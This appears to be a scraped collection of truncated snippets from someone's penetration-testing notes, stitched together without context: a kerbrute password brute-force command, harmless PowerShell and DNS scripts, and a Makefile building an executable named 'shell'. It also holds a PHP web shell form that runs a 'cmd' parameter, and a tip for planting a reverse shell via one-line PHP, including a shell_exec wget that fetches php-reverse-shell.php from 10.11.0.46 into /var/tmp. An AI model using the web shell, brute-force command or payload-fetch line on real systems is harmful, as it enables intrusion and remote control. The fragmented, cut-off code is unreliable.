kAh00t

Kerberos cheatsheet

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Remember to log all the things!

A combination of my own methodology and the Web Application Hacker's Handbook Task checklist, as a Github-Flavored Markdown file

| Switch | Example | Description |

	Function Get-Restart {
	[cmdletbinding()]
	[outputtype("RestartEvent")]
	Param(
	[Parameter(Position = 0, ValueFromPipeline)]
	[ValidateNotNullOrEmpty()]
	[Alias("CN")]
	[string]$Computername = $env:COMPUTERNAME,
	[Parameter(HelpMessage = "Find restart events since this date and time.")]
	[ValidateNotNullOrEmpty()]

	#!/bin/bash
	# Bulk DNS Lookup
	# Generates a CSV of DNS lookups from a list of domains.
	#
	# File name/path of domain list:
	domain_list='domains.txt' # One FQDN per line in file.
	#
	# IP address of the nameserver used for lookups:
	ns_ip='1.1.1.1' # Is using Cloudflare's 1.1.1.1.
	#

	EXE = shell
	SRC = .
	LDFLAGS = -ldflags="-s -w"

	windows:
	GOOS=windows go build -o $(EXE)_win.exe $(LDFLAGS) $(SRC)

	macos:
	GOOS=darwin go build -o $(EXE)_macos $(LDFLAGS) $(SRC)

	//
	// This program reads a sourcemap from stdin
	// and replaces the "mappings" property with
	// human readable content. It writes the output
	// to stdout.
	//
	// 1. install the dependencies:
	// npm i concat-stream vlq
	//
	// 2. optional: install jq for pretty printing json

	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{

	If you have access to executing php (and maybe LFI to visit the .php) e.g. phpLiteAdmin, but it only accepts one line so you cannot use the pentestmonkey php-reverse-shell.php

	1. Use http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet in place of the one liner
	<?php echo shell_exec("[INSERT ONE LINER");?>

	2. Guess programs on machine and use LFI to visit file
	<?php echo shell_exec("/usr/local/bin/wget http://10.11.0.46:8000/php-reverse-shell.php -O /var/tmp/shell.php 2>&1");?>